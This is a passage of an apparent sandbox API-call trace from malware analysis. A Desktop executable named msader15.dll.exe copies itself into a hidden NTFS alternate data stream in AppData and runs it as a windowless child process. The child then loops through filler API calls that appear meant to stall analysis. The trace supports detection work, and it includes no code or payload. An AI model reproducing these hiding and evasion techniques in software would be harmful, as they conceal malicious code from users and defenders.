ftLastWriteTime.dwLowDateTime=0x18fc6c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0030.428] GetLastError () returned 0x2 [0030.428] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscan~1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x104 [0030.429] SetFileTime (hFile=0x104, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0030.429] WriteFile (in: hFile=0x104, lpBuffer=0x1d92d60*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x1d92d60*, lpNumberOfBytesWritten=0x18f98c*=0x0, lpOverlapped=0x0) returned 1 [0030.429] NtClose (Handle=0x104) returned 0x0 [0030.429] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0030.429] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e9d8) returned 1 [0030.429] FindClose (in: hFindFile=0x8b27a8 | out: hFindFile=0x8b27a8) returned 1 [0030.429] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.429] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0030.429] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x800) returned 0x1d93958 [0030.429] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d93958, nSize=0x200 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msader15.dll.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\msader15.dll.exe")) returned 0x36 [0030.429] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0030.429] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msader15.dll.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\msader15.dll.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5035ac00, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x50ce4280, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x4f047f00, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x25000)) returned 1 [0030.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msader15.dll.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\msader15.dll.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xec [0030.430] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 0 [0030.430] GetFileSize (in: hFile=0xec, lpFileSizeHigh=0x18f94c | out: lpFileSizeHigh=0x18f94c*=0x0) returned 0x25000 [0030.430] SetFilePointer (in: hFile=0xec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0030.430] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x25000) returned 0x1d99ea8 [0030.432] ReadFile (in: hFile=0xec, lpBuffer=0x1d99ea8, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x1d99ea8*, lpNumberOfBytesRead=0x18f98c*=0x25000, lpOverlapped=0x0) returned 1 [0030.433] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x25000) returned 0x1dbeeb0 [0030.435] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d99ea8) returned 1 [0030.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x25000) returned 0x1d99ea8 [0030.435] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d92d60) returned 1 [0030.435] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1dbeeb0) returned 1 [0030.435] NtClose (Handle=0xec) returned 0x0 [0030.435] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0030.435] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d93958) returned 1 [0030.435] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0030.435] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscan~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x18fc6c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0030.435] GetLastError () returned 0x2 [0030.435] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscan~1:bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xec [0030.436] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0030.436] WriteFile (in: hFile=0xec, lpBuffer=0x1d99ea8*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x1d99ea8*, lpNumberOfBytesWritten=0x18f98c*=0x25000, lpOverlapped=0x0) returned 1 [0030.440] NtClose (Handle=0xec) returned 0x0 [0030.443] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0030.443] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d99ea8) returned 1 [0030.443] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0030.443] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x100) returned 0x1d92850 [0030.444] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0030.444] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin", lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin C:\\Users\\5P5NRG~1\\Desktop\\MSADER~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fc14*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fc04 | out: lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin C:\\Users\\5P5NRG~1\\Desktop\\MSADER~1.EXE", lpProcessInformation=0x18fc04*(hProcess=0x104, hThread=0xec, dwProcessId=0xb8c, dwThreadId=0xb98)) returned 1 [0030.496] NtClose (Handle=0xec) returned 0x0 [0030.496] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0030.496] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d99510) returned 1 [0030.496] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d98d08) returned 1 [0030.496] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d98500) returned 1 [0030.497] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0030.497] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.497] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0030.497] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.497] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d97cf8) returned 1 [0030.497] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0030.497] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e268) returned 1 [0030.497] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d288) returned 1 [0030.497] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d5e8) returned 1 [0030.497] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0xb7c Process: id = "2" image_name = "ouscan~1:bin" filename = "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscan~1:bin" page_root = "0x339b2000" os_pid = "0xb8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x8b0" cmd_line = "C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin C:\\Users\\5P5NRG~1\\Desktop\\MSADER~1.EXE" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xb98 [0030.607] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin C:\\Users\\5P5NRG~1\\Desktop\\MSADER~1.EXE" [0030.607] GetProcessVersion (ProcessId=0xca9) returned 0x0 [0030.607] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.607] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.607] IsCharLowerA (ch=32) returned 0 [0030.607] CountClipboardFormats () returned 4 [0030.607] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.607] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.607] IsCharLowerA (ch=33) returned 0 [0030.607] CountClipboardFormats () returned 4 [0030.607] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.607] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.607] IsCharLowerA (ch=34) returned 0 [0030.607] CountClipboardFormats () returned 4 [0030.607] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.607] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.607] IsCharLowerA (ch=35) returned 0 [0030.607] CountClipboardFormats () returned 4 [0030.608] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.608] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.608] IsCharLowerA (ch=36) returned 0 [0030.608] CountClipboardFormats () returned 4 [0030.608] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.608] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.608] IsCharLowerA (ch=37) returned 0 [0030.608] CountClipboardFormats () returned 4 [0030.608] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.608] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.608] IsCharLowerA (ch=38) returned 0 [0030.608] CountClipboardFormats () returned 4 [0030.608] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.608] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.608] IsCharLowerA (ch=39) returned 0 [0030.608] CountClipboardFormats () returned 4 [0030.608] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.608] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.608] IsCharLowerA (ch=40) returned 0 [0030.608] CountClipboardFormats () returned 4 [0030.608] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.608] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.608] IsCharLowerA (ch=41) returned 0 [0030.608] CountClipboardFormats () returned 4 [0030.608] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.608] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.608] IsCharLowerA (ch=42) returned 0 [0030.608] CountClipboardFormats () returned 4 [0030.608] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.608] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.608] IsCharLowerA (ch=43) returned 0 [0030.608] CountClipboardFormats () returned 4 [0030.608] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.608] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.608] IsCharLowerA (ch=44) returned 0 [0030.608] CountClipboardFormats () returned 4 [0030.609] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.609] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.609] IsCharLowerA (ch=45) returned 0 [0030.609] CountClipboardFormats () returned 4 [0030.609] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.609] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.609] IsCharLowerA (ch=46) returned 0 [0030.609] CountClipboardFormats () returned 4 [0030.609] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.609] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.609] IsCharLowerA (ch=47) returned 0 [0030.609] CountClipboardFormats () returned 4 [0030.609] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.609] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.609] IsCharLowerA (ch=48) returned 0 [0030.609] CountClipboardFormats () returned 4 [0030.609] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.609] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.609] IsCharLowerA (ch=49) returned 0 [0030.609] CountClipboardFormats () returned 4 [0030.609] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.609] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.609] IsCharLowerA (ch=50) returned 0 [0030.609] CountClipboardFormats () returned 4 [0030.609] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.609] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.609] IsCharLowerA (ch=51) returned 0 [0030.609] CountClipboardFormats () returned 4 [0030.609] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.609] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.609] IsCharLowerA (ch=52) returned 0 [0030.609] CountClipboardFormats () returned 4 [0030.609] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.609] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.609] IsCharLowerA (ch=53) returned 0 [0030.609] CountClipboardFormats () returned 4 [0030.610] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.610] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.610] IsCharLowerA (ch=54) returned 0 [0030.610] CountClipboardFormats () returned 4 [0030.610] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.610] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.610] IsCharLowerA (ch=55) returned 0 [0030.610] CountClipboardFormats () returned 4 [0030.610] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.610] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.610] IsCharLowerA (ch=56) returned 0 [0030.610] CountClipboardFormats () returned 4 [0030.610] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.610] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.610] IsCharLowerA (ch=57) returned 0 [0030.610] CountClipboardFormats () returned 4 [0030.610] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.610] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.610] IsCharLowerA (ch=58) returned 0 [0030.610] CountClipboardFormats () returned 4 [0030.610] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.610] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.610] IsCharLowerA (ch=59) returned 0 [0030.610] CountClipboardFormats () returned 4 [0030.610] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.610] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.610] IsCharLowerA (ch=60) returned 0 [0030.610] CountClipboardFormats () returned 4 [0030.610] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.610] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.610] IsCharLowerA (ch=61) returned 0 [0030.610] CountClipboardFormats () returned 4 [0030.610] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.610] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.610] IsCharLowerA (ch=62) returned 0 [0030.610] CountClipboardFormats () returned 4 [0030.611] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.611] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.611] IsCharLowerA (ch=63) returned 0 [0030.611] CountClipboardFormats () returned 4 [0030.611] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.611] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.611] IsCharLowerA (ch=32) returned 0 [0030.611] CountClipboardFormats () returned 4 [0030.611] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.611] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.611] IsCharLowerA (ch=33) returned 0 [0030.611] CountClipboardFormats () returned 4 [0030.611] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.611] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.611] IsCharLowerA (ch=34) returned 0 [0030.611] CountClipboardFormats () returned 4 [0030.611] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.611] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.611] IsCharLowerA (ch=35) returned 0 [0030.611] CountClipboardFormats () returned 4 [0030.611] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.611] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.611] IsCharLowerA (ch=36) returned 0 [0030.611] CountClipboardFormats () returned 4 [0030.611] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.611] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.611] IsCharLowerA (ch=37) returned 0 [0030.611] CountClipboardFormats () returned 4 [0030.611] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.611] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.611] IsCharLowerA (ch=38) returned 0 [0030.611] CountClipboardFormats () returned 4 [0030.611] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.611] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.611] IsCharLowerA (ch=39) returned 0 [0030.611] CountClipboardFormats () returned 4 [0030.612] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.612] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.612] IsCharLowerA (ch=40) returned 0 [0030.612] CountClipboardFormats () returned 4 [0030.612] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.612] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.612] IsCharLowerA (ch=41) returned 0 [0030.612] CountClipboardFormats () returned 4 [0030.612] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.612] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.612] IsCharLowerA (ch=42) returned 0 [0030.612] CountClipboardFormats () returned 4 [0030.612] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.612] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.612] IsCharLowerA (ch=43) returned 0 [0030.612] CountClipboardFormats () returned 4 [0030.612] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.612] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.612] IsCharLowerA (ch=44) returned 0 [0030.612] CountClipboardFormats () returned 4 [0030.612] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.612] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.612] IsCharLowerA (ch=45) returned 0 [0030.612] CountClipboardFormats () returned 4 [0030.612] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.612] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.612] IsCharLowerA (ch=46) returned 0 [0030.613] CountClipboardFormats () returned 4 [0030.613] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.613] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.613] IsCharLowerA (ch=47) returned 0 [0030.613] CountClipboardFormats () returned 4 [0030.613] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.613] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.613] IsCharLowerA (ch=48) returned 0 [0030.613] CountClipboardFormats () returned 4 [0030.613] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.613] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.613] IsCharLowerA (ch=49) returned 0 [0030.613] CountClipboardFormats () returned 4 [0030.613] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.613] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.613] IsCharLowerA (ch=50) returned 0 [0030.613] CountClipboardFormats () returned 4 [0030.613] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.613] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.613] IsCharLowerA (ch=51) returned 0 [0030.613] CountClipboardFormats () returned 4 [0030.613] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.613] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.613] IsCharLowerA (ch=52) returned 0 [0030.613] CountClipboardFormats () returned 4 [0030.613] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.613] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.613] IsCharLowerA (ch=53) returned 0 [0030.613] CountClipboardFormats () returned 4 [0030.613] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.613] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.613] IsCharLowerA (ch=54) returned 0 [0030.613] CountClipboardFormats () returned 4 [0030.614] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.614] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.614] IsCharLowerA (ch=55) returned 0 [0030.614] CountClipboardFormats () returned 4 [0030.614] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.614] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.614] IsCharLowerA (ch=56) returned 0 [0030.614] CountClipboardFormats () returned 4 [0030.614] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.614] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.614] IsCharLowerA (ch=57) returned 0 [0030.614] CountClipboardFormats () returned 4 [0030.614] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.614] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.614] IsCharLowerA (ch=58) returned 0 [0030.614] CountClipboardFormats () returned 4 [0030.614] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.614] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.614] IsCharLowerA (ch=59) returned 0 [0030.614] CountClipboardFormats () returned 4 [0030.614] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.614] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.614] IsCharLowerA (ch=60) returned 0 [0030.614] CountClipboardFormats () returned 4 [0030.614] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.614] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.614] IsCharLowerA (ch=61) returned 0 [0030.614] CountClipboardFormats () returned 4 [0030.614] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.614] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.614] IsCharLowerA (ch=62) returned 0 [0030.614] CountClipboardFormats () returned 4 [0030.614] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.614] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.614] IsCharLowerA (ch=63) returned 0 [0030.614] CountClipboardFormats () returned 4 [0030.615] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.615] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.615] IsCharLowerA (ch=32) returned 0 [0030.615] CountClipboardFormats () returned 4 [0030.615] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.615] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.615] IsCharLowerA (ch=33) returned 0 [0030.615] CountClipboardFormats () returned 4 [0030.615] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.615] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.615] IsCharLowerA (ch=34) returned 0 [0030.615] CountClipboardFormats () returned 4 [0030.615] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.615] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.615] IsCharLowerA (ch=35) returned 0 [0030.615] CountClipboardFormats () returned 4 [0030.615] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.615] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.615] IsCharLowerA (ch=36) returned 0 [0030.615] CountClipboardFormats () returned 4 [0030.615] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.615] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.615] IsCharLowerA (ch=37) returned 0 [0030.615] CountClipboardFormats () returned 4 [0030.615] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.615] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.615] IsCharLowerA (ch=38) returned 0 [0030.615] CountClipboardFormats () returned 4 [0030.615] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.615] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.615] IsCharLowerA (ch=39) 